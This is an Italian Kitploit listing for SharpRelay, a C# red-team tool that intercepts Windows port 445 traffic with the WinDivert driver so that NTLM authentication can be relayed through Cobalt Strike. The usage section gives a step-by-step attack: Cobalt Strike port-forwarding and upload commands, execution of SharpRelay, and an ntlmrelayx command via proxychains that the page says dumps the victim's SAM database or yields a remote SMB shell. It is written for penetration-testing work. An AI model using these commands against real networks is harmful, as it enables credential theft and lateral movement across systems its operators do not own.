Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
SharpRelay — Strumento in C# che sfrutta il driver WinDivert per intercettare e reindirizzare il traffico sulla porta 445 di Windows per attacchi di relay NTLM tramite Cobalt Strike, consentendo movimento laterale e raccolta di credenziali nelle operazioni di red team. | Kitploit
Strumenti/GitHubGitHub/pkb1s/sharprelay
Sniffing e Analisi dei PacchettiMovimento LateralePenetration TestingRed Teaming
GitHubpkb1s/sharprelay

SharpRelay

Strumento in C# che sfrutta il driver WinDivert per intercettare e reindirizzare il traffico sulla porta 445 di Windows per attacchi di relay NTLM tramite Cobalt Strike, consentendo movimento laterale e raccolta di credenziali nelle operazioni di red team.

Vedi Repository
179215 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Utilizzo

L'unico requisito per far funzionare questo attacco è avere un beacon con privilegi di amministratore locale o con la capacità di caricare driver. L'attacco che utilizza SharpRelay funziona come segue:

  • Caricare il driver WinDivert firmato in qualsiasi cartella sull'host compromesso
  • Eseguire SharpRelay per modificare la porta di destinazione dei pacchetti in arrivo sulla porta 445 e reindirizzarli verso un'altra porta (es. 8445)
  • Dal nostro beacon, eseguire il comando rportfwd di Cobalt Strike per inoltrare la porta 8445 dell'host compromesso alla porta 445 del nostro teamserver.
  • Avviare un server socks per inoltrare il traffico inoltrato (relayed) verso la rete della vittima
  • Eseguire ntlmrelayx di Impacket con proxychains per effettuare il relay SMB
  • Quando una vittima tenta di accedere alla porta 445 dell'host compromesso, l'autenticazione NTLM verrà inoltrata al nostro teamserver e trasmessa (relayed) a un'altra macchina

I seguenti comandi di esempio possono essere eseguiti da Cobalt Strike per eseguire queste azioni:

root@kitploit:~
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445

Quando tutti i comandi sopra vengono eseguiti con successo, è necessario avviare il server relay (configurare proxychains con la porta specificata nei comandi precedenti, es. 4444):

root@kitploit:~
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support

Il comando sopra dumpa il database SAM dall'host vittima. È anche possibile ottenere una shell SMB interattiva ed eseguire comandi in remoto sulla vittima.

SharpRelay è stato testato su Win10 x64.

Istruzioni per la compilazione

Se si desidera compilare lo strumento dal sorgente, si può fare quanto segue:

  • Clonare il repository

  • Assicurarsi di poter vedere tutti i pacchetti NuGet nella scheda Installati aprendo Progetto->Gestisci pacchetti NuGet in Visual Studio

  • Compilare il progetto

Le istruzioni sopra sono state testate utilizzando Visual Studio 2019.

Dettagli tecnici

SharpRelay si basa sul driver WinDivert. Secondo la sua descrizione, WinDivert è un driver kernel che consente l'intercettazione e la modifica dei pacchetti in modalità utente. L'utente deve specificare un filtro e tutti i pacchetti che corrispondono a questo filtro verranno intercettati e potranno essere modificati.

Dal file ReadMe:

root@kitploit:~
The WinDivert.sys driver is installed below the Windows network stack.  The
following actions occur:

(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted.  The
    PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet.  PROGRAM can
    re-inject the (modified) using a call to WinDivertSend().

Per noi, la cosa più importante che WinDivert ci permette di fare è intercettare il traffico diretto a una porta Windows aperta e reindirizzarlo verso un'altra porta modificando le porte di origine e destinazione TCP di ogni pacchetto, ricalcolando i checksum TCP e reiniettando i pacchetti nello stack di rete.

Su Windows, la porta 445 è sempre in esecuzione di default. Non entrerò nei dettagli sul processo che utilizza la porta 445 perché è già stato analizzato nel seguente post, quindi vai avanti e leggilo:

  • https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/

Il post sopra contiene anche un'altra idea interessante. Usare WinDivert per eseguire un attacco SMB relay tramite Metasploit. Puoi caricare alcune DLL e un file driver sull'host di destinazione insieme a divertTCPconn.exe ed eseguirli. Ho trovato questo attacco fantastico, ma quello che non mi è piaciuto è stato dover caricare più DLL sull'host di destinazione.

Quindi il mio obiettivo era fare lo stesso attacco lasciando il minimo numero di file su disco ed eseguendo l'attacco tramite Cobalt Strike.

Prima di tutto, volevo usare la funzione execute-assembly di Cobalt Strike, quindi ho deciso di scrivere il mio codice usando il framework .NET. Il mio pensiero iniziale era di riscrivere divertTCPconn in C# e poi tutto avrebbe funzionato. Si è scoperto che era molto complicato. Fortunatamente, ho trovato il seguente pacchetto NuGet scritto da TechnikEmpire:

  • https://github.com/TechnikEmpire/WinDivertSharp

Utilizzando WinDivertSharp, sono stato in grado di scrivere SharpRelay per caricare il driver creando un servizio e comunicare con il driver WinDivert per eseguire qualsiasi modifica ai pacchetti di cui avevo bisogno.

Scarica lo strumento